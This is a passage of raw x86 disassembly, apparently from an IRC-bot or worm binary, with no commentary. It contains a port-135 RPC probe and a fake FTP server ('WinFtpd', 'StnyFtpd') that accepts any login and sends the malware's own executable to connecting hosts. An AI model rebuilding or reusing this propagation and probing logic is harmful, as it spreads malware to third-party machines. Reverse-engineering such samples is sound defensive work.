var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= byte ptr -30h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_4024F5
		pop	ecx
		pop	ecx
		push	6
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_402615
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_402615
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_402615
		push	ebx
		push	0
		mov	ebx, 400h
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_4135A0
		push	edx
		push	eax
		call	sub_402439
		push	eax
		mov	edi, offset aSkb ; "%sKB"
		push	edi
		mov	esi, 80h
		lea	eax, [ebp+var_1B0]
		push	esi
		push	eax
		call	sub_412E0D
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_4135A0
		push	edx
		push	eax
		call	sub_402439
		push	eax
		push	edi
		lea	eax, [ebp+var_130]
		push	esi
		push	eax
		call	sub_412E0D
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_4135A0
		push	edx
		push	eax
		call	sub_402439
		push	eax
		push	edi
		lea	eax, [ebp+var_B0]
		push	esi
		push	eax
		call	sub_412E0D
		add	esp, 18h
		pop	ebx
		jmp	short loc_402644
; ---------------------------------------------------------------------------


loc_402615:				; CODE XREF: sub_40253D+2Cj
					; sub_40253D+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_1B0]
		push	esi
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_130]
		push	esi
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_B0]
		push	esi
		push	eax
		call	sub_412BB5
		add	esp, 18h


loc_402644:				; CODE XREF: sub_40253D+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_1B0]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40253D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402658	proc near		; CODE XREF: sub_402717+Bj
					; sub_402717+51p

var_500		= byte ptr -500h
var_380		= byte ptr -380h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_500]
		push	ebx
		push	eax
		call	sub_40253D
		pop	ecx
		pop	ecx
		push	60h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_180]
		rep movsd
		push	7
		mov	edi, offset aFailed ; "failed"
		lea	esi, [ebp+var_80]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_4026B8
		push	ebx
		push	ebx
		call	sub_4024AC
		pop	ecx
		push	eax
		push	offset aMainSDriveSFai ; "[MAIN]: %s Drive (%s): Failed	to stat, "...
		lea	eax, [ebp+var_380]
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 14h
		jmp	short loc_4026EC
; ---------------------------------------------------------------------------


loc_4026B8:				; CODE XREF: sub_402658+3Aj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4024AC
		pop	ecx
		push	eax
		push	offset aMainSDriveSSTo ; "[MAIN]: %s Drive (%s): %s total, %s fre"...
		lea	eax, [ebp+var_380]
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 20h


loc_4026EC:				; CODE XREF: sub_402658+5Ej
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_380]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		lea	eax, [ebp+var_380]
		push	eax
		call	sub_401C33
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402658	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402717	proc near		; CODE XREF: sub_4078FA+4268p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	[ebp+arg_C], eax
		jz	short loc_402727
		pop	ebp
		jmp	sub_402658
; ---------------------------------------------------------------------------


loc_402727:				; CODE XREF: sub_402717+8j
		push	ebx
		push	esi
		push	eax
		push	eax
		call	dword_43353C
		lea	esi, [eax+2]
		push	esi
		call	sub_41344D
		pop	ecx
		mov	ebx, eax
		push	ebx
		push	esi
		mov	[ebp+arg_C], ebx
		call	dword_43353C
		cmp	byte ptr [ebx],	0
		jz	short loc_40278A
		push	edi


loc_40274E:				; CODE XREF: sub_402717+6Dj
		push	4
		mov	edi, offset aA	; "A:\\"
		mov	esi, ebx
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_402770
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_402658
		add	esp, 10h


loc_402770:				; CODE XREF: sub_402717+45j
		mov	eax, ebx
		lea	edx, [eax+1]


loc_402775:				; CODE XREF: sub_402717+63j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_402775
		sub	eax, edx
		lea	ebx, [ebx+eax+1]
		cmp	[ebx], cl
		jnz	short loc_40274E
		mov	ebx, [ebp+arg_C]
		pop	edi


loc_40278A:				; CODE XREF: sub_402717+34j
		push	ebx
		call	sub_412FE4
		pop	ecx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_402717	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402795	proc near		; DATA XREF: sub_40D1EF+14o

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_434344
		call	dword_4335AC
		call	sub_41105B
		call	dword_4335B8
		call	dword_4335B8
		mov	ebx, ds:dword_41F000
		push	64h
		call	ebx
		xor	eax, eax
		lea	edi, [ebp+var_10]
		stosd
		stosd
		stosd
		stosd
		push	11h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_54]
		rep stosd
		mov	esi, 104h
		push	esi
		lea	eax, [ebp+var_158]
		xor	edi, edi
		push	eax
		mov	[ebp+var_48], (offset asc_41FA74+2)
		mov	[ebp+var_54], 44h
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	ds:dword_41F040
		push	esi
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		call	ds:dword_41F010
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_158]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		push	edi
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		call	ds:dword_41F030
		test	eax, eax
		jz	short loc_402854
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, ds:dword_41F034
		call	esi
		push	[ebp+var_C]
		call	esi


loc_402854:				; CODE XREF: sub_402795+A9j
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_432FEC
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	ds:dword_41F02C
		int	3		; Trap to Debugger
sub_402795	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402875	proc near		; CODE XREF: sub_4028A8+11Cp
					; sub_4028A8+145p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_4]
		sub	edx, [ebp+arg_C]
		push	ebx
		push	esi
		xor	eax, eax
		test	edx, edx
		push	edi
		jle	short loc_40289D


loc_402887:				; CODE XREF: sub_402875+26j
		mov	esi, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		mov	edi, [ebp+arg_8]
		add	esi, eax
		xor	ebx, ebx
		repe cmpsb
		jz	short loc_4028A4
		inc	eax
		cmp	eax, edx
		jl	short loc_402887


loc_40289D:				; CODE XREF: sub_402875+10j
		xor	al, al


loc_40289F:				; CODE XREF: sub_402875+31j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4028A4:				; CODE XREF: sub_402875+21j
		mov	al, 1
		jmp	short loc_40289F
sub_402875	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4028A8	proc near		; CODE XREF: .text:00412172p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_412DD0
		mov	eax, [ebp+arg_4]
		dec	eax
		jz	short loc_4028E5
		dec	eax
		jz	short loc_4028C3
		dec	eax
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4028C3:				; CODE XREF: sub_4028A8+14j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_433514
		push	eax
		call	sub_4015FE
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		leave
		retn
; ---------------------------------------------------------------------------


loc_4028E5:				; CODE XREF: sub_4028A8+11j
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		call	dword_4334A0
		mov	esi, eax
		or	ebx, 0FFFFFFFFh
		xor	eax, eax
		cmp	esi, ebx
		mov	[ebp+arg_4], esi
		jz	loc_402A0A
		push	edi
		lea	edi, [ebp+var_10]
		stosd
		stosd
		stosd
		stosd
		push	87h
		mov	[ebp+var_10], 2
		call	dword_4335EC
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_406B1D
		pop	ecx
		mov	[ebp+var_C], eax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_433458
		cmp	eax, ebx
		jz	short loc_402954
		xor	edi, edi
		push	edi
		push	48h
		push	offset dword_42A368
		push	esi
		call	dword_433534
		cmp	eax, ebx
		jnz	short loc_40295B


loc_402954:				; CODE XREF: sub_4028A8+95j
					; sub_4028A8+CCj ...
		xor	esi, esi
		jmp	loc_4029FE
; ---------------------------------------------------------------------------


loc_40295B:				; CODE XREF: sub_4028A8+AAj
		push	edi
		mov	esi, 2000h
		push	esi
		lea	eax, [ebp+var_2010]
		push	eax
		push	[ebp+arg_4]
		call	dword_433414
		cmp	eax, ebx
		jz	short loc_402954
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_402954
		push	edi
		push	18h
		push	offset dword_42A3B4
		push	[ebp+arg_4]
		call	dword_433534
		cmp	eax, ebx
		jz	short loc_402954
		push	edi
		push	esi
		lea	eax, [ebp+var_2010]
		push	eax
		push	[ebp+arg_4]
		call	dword_433414
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_402954
		cmp	[ebp+var_200E],	2
		jnz	short loc_402954
		push	10h
		push	offset loc_42A3D0
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_402875
		add	esp, 10h
		test	al, al
		jz	short loc_4029DE
		xor	eax, eax
		cmp	esi, 12Ch
		setnl	al
		inc	eax
		jmp	short loc_4029FC
; ---------------------------------------------------------------------------


loc_4029DE:				; CODE XREF: sub_4028A8+126j
		push	10h
		push	offset dword_42A3E4
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_402875
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3


loc_4029FC:				; CODE XREF: sub_4028A8+134j
		mov	esi, eax


loc_4029FE:				; CODE XREF: sub_4028A8+AEj
		push	[ebp+arg_4]
		call	dword_4335AC
		mov	eax, esi
		pop	edi


loc_402A0A:				; CODE XREF: sub_4028A8+57j
		pop	esi
		pop	ebx
		leave
		retn
sub_4028A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A0E	proc near		; CODE XREF: sub_402B1D+4A2p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	ds:dword_41F1EC
		push	0
		push	1
		push	2
		call	ds:dword_41F1F0
		push	[ebp+arg_0]
		mov	dword_432FF0, eax
		mov	[ebp+var_10], 2
		call	ds:dword_41F1F4
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	ds:dword_41F204
		mov	[ebp+var_E], ax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	dword_432FF0
		call	ds:dword_41F1F8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402A86
		push	dword_432FF0
		call	ds:dword_41F1FC
		call	ds:dword_41F200
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_402A86:				; CODE XREF: sub_402A0E+60j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_402A0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A8B	proc near		; CODE XREF: sub_402B1D+4AEp

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		push	0
		call	ds:dword_41F010
		lea	eax, [ebp+var_104]
		push	offset dword_41F968
		push	eax
		call	sub_413393
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jnz	short loc_402AF8
		jmp	short loc_402B1A
; ---------------------------------------------------------------------------


loc_402AC4:				; CODE XREF: sub_402A8B+72j
		push	400h
		lea	eax, [ebp+var_504]
		push	1
		push	eax
		call	sub_41313E
		add	esp, 10h
		push	0
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	dword_432FF0
		call	ds:dword_41F1E8
		push	0Ah
		call	ds:dword_41F000


loc_402AF8:				; CODE XREF: sub_402A8B+35j
		test	byte ptr [esi+0Ch], 10h
		push	esi
		jz	short loc_402AC4
		call	sub_412F93
		pop	ecx
		push	dword_432FF0
		call	ds:dword_41F1FC
		call	ds:dword_41F200
		xor	eax, eax
		inc	eax


loc_402B1A:				; CODE XREF: sub_402A8B+37j
		pop	esi
		leave
		retn
sub_402A8B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_402B1D	proc near		; DATA XREF: sub_401141+254o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_238		= byte ptr -238h
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 0A6Ch
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		xor	ebx, ebx
		inc	ebx
		mov	ecx, 0A9h
		lea	edi, [ebp+74h+var_6DC]
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+74h+var_A6C]
		push	eax
		xor	esi, esi
		push	101h
		mov	[ebp+74h+var_18], ebx
		mov	[ebp+74h+var_1C], ebx
		mov	[ebp+74h+var_228], esi
		mov	[ebp+74h+var_438], esi
		call	ds:dword_41F1EC
		push	esi
		call	sub_413820
		push	eax
		call	sub_412D64
		mov	eax, [ebp+74h+arg_0]
		mov	eax, [eax+214h]
		pop	ecx
		pop	ecx
		push	esi
		push	ebx
		push	2
		mov	dword_432FF4, eax
		call	ds:dword_41F1F0
		mov	ebx, eax
		push	4
		lea	eax, [ebp+74h+var_18]
		push	eax
		push	4
		push	0FFFFh
		push	ebx
		mov	[ebp+74h+var_8], ebx
		call	ds:dword_41F1C8
		lea	eax, [ebp+74h+var_1C]
		push	eax
		push	8004667Eh
		push	ebx
		call	ds:dword_41F1CC
		xor	eax, eax
		mov	ax, word ptr dword_432FF4
		mov	[ebp+74h+var_38], 2
		mov	[ebp+74h+var_34], esi
		push	eax
		call	ds:dword_41F204
		mov	[ebp+74h+var_36], ax
		push	10h
		lea	eax, [ebp+74h+var_38]
		push	eax
		push	ebx
		call	ds:dword_41F1D0
		test	eax, eax
		jl	loc_4030B7
		push	0Ah
		push	ebx
		call	ds:dword_41F1D4
		push	41h
		pop	ecx
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+74h+var_438]
		mov	[ebp+74h+var_224], ebx
		mov	[ebp+74h+var_4], ebx
		push	eax
		inc	ebx
		lea	esi, [ebp+74h+var_228]
		lea	edi, [ebp+74h+var_438]
		mov	[ebp+74h+var_228], 1
		push	ebx
		rep movsd
		call	ds:dword_41F1D8
		cmp	eax, 0FFFFFFFFh
		jz	loc_4030B7
		mov	ebx, ds:dword_41F1E8


loc_402C3C:				; CODE XREF: sub_402B1D+594j
		xor	esi, esi
		cmp	[ebp+74h+var_4], esi
		mov	[ebp+74h+arg_0], esi
		jl	loc_403086


loc_402C4A:				; CODE XREF: sub_402B1D+563j
		push	19h
		pop	ecx
		xor	eax, eax
		push	19h
		lea	edi, [ebp+74h+var_29C]
		rep stosd
		pop	ecx
		lea	edi, [ebp+74h+var_AC]
		rep stosd
		lea	eax, [ebp+74h+var_438]
		push	eax
		push	esi
		call	sub_41E8A0
		test	eax, eax
		jz	loc_403079
		cmp	esi, [ebp+74h+var_8]
		jnz	short loc_402CE4
		push	10h
		pop	edi
		lea	eax, [ebp+74h+var_24]
		push	eax
		lea	eax, [ebp+74h+var_238]
		push	eax
		push	[ebp+74h+var_8]
		mov	[ebp+74h+var_24], edi
		call	ds:dword_41F1E0
		cmp	eax, 0FFFFFFFFh
		jz	loc_403079
		mov	edx, [ebp+74h+var_228]
		xor	ecx, ecx
		test	edx, edx
		jbe	short loc_402CB6


loc_402CA8:				; CODE XREF: sub_402B1D+197j
		cmp	[ebp+ecx*4+74h+var_224], eax
		jz	short loc_402CB6
		inc	ecx
		cmp	ecx, edx
		jb	short loc_402CA8


loc_402CB6:				; CODE XREF: sub_402B1D+189j
					; sub_402B1D+192j
		cmp	ecx, edx
		jnz	short loc_402CCC
		cmp	edx, 40h
		jnb	short loc_402CCC
		mov	[ebp+ecx*4+74h+var_224], eax
		inc	[ebp+74h+var_228]


loc_402CCC:				; CODE XREF: sub_402B1D+19Bj
					; sub_402B1D+1A0j
		cmp	eax, [ebp+74h+var_4]
		jle	short loc_402CD4
		mov	[ebp+74h+var_4], eax


loc_402CD4:				; CODE XREF: sub_402B1D+1B2j
		push	0
		push	edi
		push	offset a220Winftpd1_2 ;	"220 WinFtpd 1.2\n"
		push	eax
		call	ebx
		jmp	loc_403079
; ---------------------------------------------------------------------------


loc_402CE4:				; CODE XREF: sub_402B1D+15Aj
		push	0
		push	64h
		lea	eax, [ebp+74h+var_29C]
		push	eax
		push	esi
		call	ds:dword_41F1E4
		test	eax, eax
		jg	short loc_402D42
		mov	ecx, [ebp+74h+var_228]
		xor	eax, eax
		test	ecx, ecx
		jbe	short loc_402D36


loc_402D06:				; CODE XREF: sub_402B1D+1F5j
		cmp	[ebp+eax*4+74h+var_224], esi
		jz	short loc_402D2B
		inc	eax
		cmp	eax, ecx
		jb	short loc_402D06
		jmp	short loc_402D36
; ---------------------------------------------------------------------------


loc_402D16:				; CODE XREF: sub_402B1D+211j
		mov	ecx, [ebp+eax*4+74h+var_220]
		mov	[ebp+eax*4+74h+var_224], ecx
		mov	ecx, [ebp+74h+var_228]
		inc	eax


loc_402D2B:				; CODE XREF: sub_402B1D+1F0j
		dec	ecx
		cmp	eax, ecx
		jb	short loc_402D16
		dec	[ebp+74h+var_228]


loc_402D36:				; CODE XREF: sub_402B1D+1E7j
					; sub_402B1D+1F7j
		push	esi
		call	ds:dword_41F1FC
		jmp	loc_403079
; ---------------------------------------------------------------------------


loc_402D42:				; CODE XREF: sub_402B1D+1DBj
		lea	eax, [ebp+74h+var_334]
		push	eax
		lea	eax, [ebp+74h+var_AC]
		push	eax
		lea	eax, [ebp+74h+var_29C]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_412D93
		add	esp, 10h
		push	5
		pop	edx
		mov	edi, offset aUser_0 ; "USER"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, edx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_402D81
		push	eax
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_403064
; ---------------------------------------------------------------------------


loc_402D81:				; CODE XREF: sub_402B1D+255j
		mov	edi, offset aPass ; "PASS"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, edx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_402D9E
		push	eax
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_403064
; ---------------------------------------------------------------------------


loc_402D9E:				; CODE XREF: sub_402B1D+272j
		mov	edi, offset aSyst ; "SYST"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, edx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_402DBB
		push	eax
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	loc_403064
; ---------------------------------------------------------------------------


loc_402DBB:				; CODE XREF: sub_402B1D+28Fj
		mov	edi, offset aRest ; "REST"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, edx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_402DD8
		push	eax
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_403064
; ---------------------------------------------------------------------------


loc_402DD8:				; CODE XREF: sub_402B1D+2ACj
		push	4
		mov	edi, offset off_41FE14
		lea	esi, [ebp+74h+var_AC]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_402DF6
		push	eax
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_403064
; ---------------------------------------------------------------------------


loc_402DF6:				; CODE XREF: sub_402B1D+2CAj
		mov	eax, offset aType ; "TYPE"
		mov	ecx, edx
		mov	edi, eax
		lea	esi, [ebp+74h+var_AC]
		xor	edx, edx
		repe cmpsb
		jnz	short loc_402E29
		push	2
		mov	edi, offset aA_0 ; "A"
		lea	esi, [ebp+74h+var_334]
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_402E29
		push	edx
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_403064
; ---------------------------------------------------------------------------


loc_402E29:				; CODE XREF: sub_402B1D+2E9j
					; sub_402B1D+2FDj
		mov	edi, eax
		push	5
		pop	eax
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, eax
		xor	edx, edx
		repe cmpsb
		jnz	short loc_402E5A
		push	2
		mov	edi, offset aI	; "I"
		lea	esi, [ebp+74h+var_334]
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_402E5A
		push	edx
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_403064
; ---------------------------------------------------------------------------


loc_402E5A:				; CODE XREF: sub_402B1D+31Aj
					; sub_402B1D+32Ej
		mov	edi, offset aPasv ; "PASV"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, eax
		xor	edx, edx
		repe cmpsb
		jnz	short loc_402E99
		push	0Ah
		pop	ecx
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		lea	edi, [ebp+74h+var_124]
		rep movsd
		lea	eax, [ebp+74h+var_124]
		movsw
		lea	edx, [eax+1]


loc_402E85:				; CODE XREF: sub_402B1D+36Dj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_402E85
		sub	eax, edx
		push	0
		push	eax
		lea	eax, [ebp+74h+var_124]
		jmp	short loc_402ECD
; ---------------------------------------------------------------------------


loc_402E99:				; CODE XREF: sub_402B1D+34Bj
		mov	edi, offset aList ; "LIST"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, eax
		xor	edx, edx
		repe cmpsb
		mov	ecx, eax
		jnz	short loc_402ED3
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		lea	edi, [ebp+74h+var_C4]
		rep movsd
		movsw
		lea	eax, [ebp+74h+var_C4]
		movsb
		lea	edx, [eax+1]


loc_402EBE:				; CODE XREF: sub_402B1D+3A6j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_402EBE
		sub	eax, edx
		push	0
		push	eax
		lea	eax, [ebp+74h+var_C4]


loc_402ECD:				; CODE XREF: sub_402B1D+37Aj
		push	eax
		jmp	loc_403064
; ---------------------------------------------------------------------------


loc_402ED3:				; CODE XREF: sub_402B1D+38Cj
		mov	edi, offset aPort ; "PORT"
		lea	esi, [ebp+74h+var_AC]
		xor	edx, edx
		repe cmpsb
		jnz	loc_402F97
		lea	eax, [ebp+74h+var_2D0]
		push	eax
		lea	eax, [ebp+74h+var_F8]
		push	eax
		lea	eax, [ebp+74h+var_28]
		push	eax
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_14]
		push	eax
		lea	eax, [ebp+74h+var_C]
		push	eax
		lea	eax, [ebp+74h+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_412D93
		lea	eax, [ebp+74h+var_F8]
		push	eax
		call	sub_412F42
		mov	esi, eax
		lea	eax, [ebp+74h+var_2D0]
		push	eax
		call	sub_412F42
		push	0Ch
		mov	edx, eax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+74h+var_F8]
		rep stosd
		push	edx
		push	esi
		stosw
		lea	eax, [ebp+74h+var_F8]
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_412BB5
		push	10h
		lea	eax, [ebp+74h+var_F8]
		push	0
		push	eax
		call	sub_413809
		mov	[ebp+74h+var_10], eax
		add	esp, 44h
		lea	eax, [ebp+74h+var_28]
		push	eax
		lea	eax, [ebp+74h+var_20]
		push	eax
		lea	eax, [ebp+74h+var_14]
		push	eax
		lea	eax, [ebp+74h+var_C]
		push	eax
		lea	eax, [ebp+74h+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_412BB5
		add	esp, 18h
		push	0
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		jmp	loc_403064
; ---------------------------------------------------------------------------


loc_402F97:				; CODE XREF: sub_402B1D+3C2j
		mov	edi, offset aRetr ; "RETR"
		lea	esi, [ebp+74h+var_AC]
		mov	ecx, eax
		xor	edx, edx
		repe cmpsb
		jnz	loc_40304C
		push	edx
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	[ebp+74h+arg_0]
		call	ebx
		push	[ebp+74h+var_10]
		lea	eax, [ebp+74h+var_48]
		push	eax
		call	sub_402A0E
		cmp	eax, 1
		pop	ecx
		pop	ecx
		jnz	short loc_403041
		call	sub_402A8B
		cmp	eax, 1
		jnz	loc_403069
		xor	esi, esi
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	[ebp+74h+arg_0]
		call	ebx
		lea	eax, [ebp+74h+var_6D8]
		push	eax
		lea	eax, [ebp+74h+var_48]
		push	eax
		lea	eax, [ebp+74h+var_8DC]
		push	offset aFtpFileTransfe ; "[FTP]: File transfer complete	to IP: %s"...
		push	eax
		call	sub_412BB5
		add	esp, 10h
		cmp	[ebp+74h+var_440], esi
		jnz	short loc_403032
		push	esi
		push	[ebp+74h+var_444]
		lea	eax, [ebp+74h+var_8DC]
		push	eax
		lea	eax, [ebp+74h+var_4C4]
		push	eax
		push	[ebp+74h+var_6DC]
